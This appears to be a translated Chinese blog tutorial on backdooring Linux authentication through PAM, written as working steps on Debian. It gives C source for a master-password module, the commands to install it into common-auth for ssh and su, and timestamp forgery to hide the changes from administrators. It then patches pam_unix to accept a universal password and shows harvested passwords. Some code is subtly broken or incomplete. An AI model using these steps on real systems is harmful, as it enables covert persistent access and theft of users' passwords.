PAM 是一组插件,负责系统中的身份验证。从本质上讲,它是操作系统或应用程序可用于发送用户身份验证请求的 API。
PAM 代表可插入身份验证模块;
所有可以使用 PAM 的实用程序和应用程序都会选择它们,并可以使用它们来验证用户身份。
在实践中,它的工作原理是这样的:su 命令调用 PAM,它使用配置文件中指定的模块执行所有必要的检查,并将结果返回给 su 命令。
要使用 PAM,必须编写和编译程序才能使用它。您可以使用 ldd 进行验证。在此示例中,我将测试 ssh 和 su 上的后门。
让我们确保它们使用 PAM 身份验证:
ldd /usr/sbin/sshd | grep libpam.so
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007f6a2344c000)
ldd /bin/su | grep libpam.so
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fdb89aed000)
太好了,让我们继续。
让我们创建一个通用密钥来使用主密码进行身份验证。让我们以 Federico Fazzi 的 pambd 为基础。
创建 pambd.c 文件, 不要忘记使用主密码编辑 MYPASSWD 宏:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <security/pam_appl.h>
#include <security/pam_modules.h>
define MYPASSWD "my_master_passwd"
PAM_EXTERN int pam_sm_setcred
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_acct_mgmt
(pam_handle_t *pamh, int flags, int argc, const char **argv) {
return PAM_SUCCESS;
}
PAM_EXTERN int pam_sm_authenticate
(pam_handle_t *pamh, int flags,int argc, const char **argv) {
char *password = NULL;
pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&password, NULL);
if (!strncmp(password, MYPASSWD, strlen(MYPASSWD)))
return PAM_SUCCESS;
return -1;
pambd.c网站
我在 Debian 10 中做所有事情。构建需要 libpam-dev 软件包。这就是我们使用 apt 安装它的原因:
sudo apt update && apt install libpam0g-dev
组装我们的模块:
gcc -shared -fPIC -ldl -o pam_bd.so pambd.c
现在,您需要将其放在 PAM 的其余部分之上。就我使用的 Debian x64 而言,这是路径 /lib/x86_64-linux-gnu/security/。
如果你有一个类似 RedHat 的发行版,比如 CentOS 或 Fedora,路径将是 / lib /security/ 或 / lib64/security/ ,具体取决于操作系统是 64 位还是 32 位。对于 Debian x86,路径是 / usr/lib/i386-linux-gnu 。
复制编译后的模块 pam_bd.so :
mv pam_bd.so /lib/x86_64-linux-gnu/security/
file /lib/x86_64-linux-gnu/security/pam_bd.so
/lib/x86_64-linux-gnu/security/pam_bd.so: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=a2a009b87e1aedc42ed54bef1cd861ab822290e9, not stripped
现在您需要修复 pamd 的配置,其文件位于 /etc/pam.d 目录中。例如, 对于 ssh ,它将是 /etc/pam.d/sshd,对于 su,它将是 /etc/pam.d/su。
以前,每个服务配置文件的交互逻辑是单独指定的,但现在较新版本的 Linux 使用配置文件 /etc/pam.d/common-account、/etc/pam.d/common-auth 等的连接,这些文件用于其他服务的 pamd 配置*。*
这只对我们有利。让我们一次性连接用于 ssh 身份验证、su 身份验证和其他所有使用 common-auth @include的模块。
请参阅 /etc/pam.d/common-auth 的内容:
cat /etc/pam.d/common-auth
...
# here are the per-package modules (the "Primary" block)
auth [success=1 default=ignore] pam_unix.so nullok_secure
# here's the fallback if no module succeeds
...
我们可以看到pam_unix.so将是第一个连接的。将control_flag *[success=1 default=ignore] *更改为足够,并添加 pam.d 后门。编辑 /etc/pam.d/common-auth 文件:
nano /etc/pam.d/common-auth
我们给它以下形式:
cat /etc/pam.d/common-auth
...
# here are the per-package modules (the "Primary" block)
auth sufficient pam_unix.so nullok_secure
auth sufficient pam_bd.so
# here's the fallback if no module succeeds
...
使用我们在构建期间指定的 *MYPASSWD *宏中的密码保存并测试 su 和 ssh :
ssh n0a@localhost
The authenticity of host 'localhost (::1)' can't be established.
ECDSA key fingerprint is SHA256:UL4+UyFTOprFo2YpajAUsdpXsQsR9FtNBNZf3+9KUIM.
Are you sure you want to continue connecting (yes/no)? yes
su:
测试表明,我们的 PAM 后门可以完美运行。剩下的就是掩盖你的踪迹。为此,请更改 pam_bd.so 和 common-auth 文件的时间戳,以便管理员不会发现任何可疑情况。
检查我们文件的当前时间戳以及彼此相邻的文件:
ls -la /etc/pam.d
итого 120
drwxr-xr-x 2 root root 4096 25 16:26 .
drwxr-xr-x 118 root root 4096 24 13:46 ..
-rw-r--r-- 1 root root 384 27 2017 chfn
-rw-r--r-- 1 root root 92 27 2017 chpasswd
-rw-r--r-- 1 root root 581 27 2017 chsh
-rw-r--r-- 1 root root 1251 5 05:01 common-account
-rw-r--r-- 1 root root 1232 25 15:59 common-auth
-rw-r--r-- 1 root root 1480 5 05:01 common-password
-rw-r--r-- 1 root root 1189 5 05:01 common-session
...
ls -la /lib/x86_64-linux-gnu/security/
итого 1276
drwxr-xr-x 2 root root 4096 25 16:11 .
drwxr-xr-x 79 root root 69632 25 14:55 ..
-rw-r--r-- 1 root root 18632 14 2019 pam_access.so
-rwxr-xr-x 1 root root 16120 25 15:57 pam_bd.so
-rw-r--r-- 1 root root 14400 14 2019 pam_debug.so
-rw-r--r-- 1 root root 13968 14 2019 pam_deny.so
-rw-r--r-- 1 root root 14368 14 2019 pam_echo.so
...
对于 common-auth,让我们以 common-password 时间为pam_bd.so 时间**是 pam_access.so。 **我们不要忘记将权限设置为 pam_bd.so:
touch -r /etc/pam.d/common-password /etc/pam.d/common-auth
chmod 0644 /lib/x86_64-linux-gnu/security/pam_bd.so
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_bd.so
检查:
ls -la /etc/pam.d
итого 120
drwxr-xr-x 2 root root 4096 25 16:26 .
drwxr-xr-x 118 root root 4096 24 13:46 ..
-rw-r--r-- 1 root root 384 27 2017 chfn
-rw-r--r-- 1 root root 92 27 2017 chpasswd
-rw-r--r-- 1 root root 581 27 2017 chsh
-rw-r--r-- 1 root root 1251 5 05:01 common-account
-rw-r--r-- 1 root root 1232 5 05:01 common-auth
-rw-r--r-- 1 root root 1480 5 05:01 common-password
-rw-r--r-- 1 root root 1189 5 05:01 common-session
...
ls -la /lib/x86_64-linux-gnu/security/
итого 1276
drwxr-xr-x 2 root root 4096 25 16:11 .
drwxr-xr-x 79 root root 69632 25 14:55 ..
-rw-r--r-- 1 root root 18632 14 2019 pam_access.so
-rw-r--r-- 1 root root 16120 14 2019 pam_bd.so
-rw-r--r-- 1 root root 14400 14 2019 pam_debug.so
-rw-r--r-- 1 root root 13968 14 2019 pam_deny.so
-rw-r--r-- 1 root root 14368 14 2019 pam_echo.so
...
这很酷。现在我们有了自己的 PAM后门 ,非常适合在系统中站稳脚跟。
如果我们不使用自己的库,而是编译我们自己的原始 **pam_unix.so **版本并添加其他用户输入密码的日志记录怎么办?诱人?同意,让我们开始吧。
要修改 pam_unix.so, 我们需要使用 PAM 源代码。有两种方法可以获取它:
我将采用第二种方式,因为在此方案中,我们将直接将代码修改为系统中的版本。
为此,请在源中更新并获取当前安装的 PAM 版本:
sudo apt update
sudo apt install dpkg-dev
sudo apt build-dep pam
apt source pam
cd pam-1.3.1
如您所见,系统中的当前版本是 pam-1.3.1。为了添加密码授权和日志记录,我们需要文件 pam-1.3.1/modules/pam_unix/pam_unix_auth.c。
查找代码(文件 pam_unix_auth.c 的 ~177 行):
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
name = p = NULL;
pam_unix_auth.c
通过替换 *retval = _unix_verify_password(pamh, name, p, ctrl) *来修改字符串;到我们的代码(这里是通用密码 the-world-is-yours, 你可以用你自己的密码替换它):
nano modules/pam_unix/pam_unix_auth.c
//
if (strcmp(p, "the-world-is-yours") != 0) {
retval = _unix_verify_password(pamh, name, p, ctrl);
} else {
retval = PAM_SUCCESS;
}
修改 pam_unix_auth.c
它应该看起来像这样:
修改 pam_unix_auth.c
构建“固定”PAM,将 pam_unix.so 复制到 / lib/x86_64-linux-gnu/security/, 更改时间戳:
./configure
make
cp modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/security/
touch -r /lib/x86_64-linux-gnu/security/pam_access.so /lib/x86_64-linux-gnu/security/pam_unix.so
让我们用密码the-world-is-yours测试一个新的后门:
ssh 192.168.232.138
n0a@192.168.232.138's password:
Linux luks 4.19.0-12-amd64 #1 SMP Debian 4.19.152-1 (2020-10-18) x86_64
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Nov 25 19:02:12 2020 from ::1
cat /tmp/.passwd
root:the-world-is-yours
root:t3st#
n0a:the-world-is-yours
成功。现在,我们不仅在本机 PAM 身份验证模块中设置了书签,而且还能够读取密码。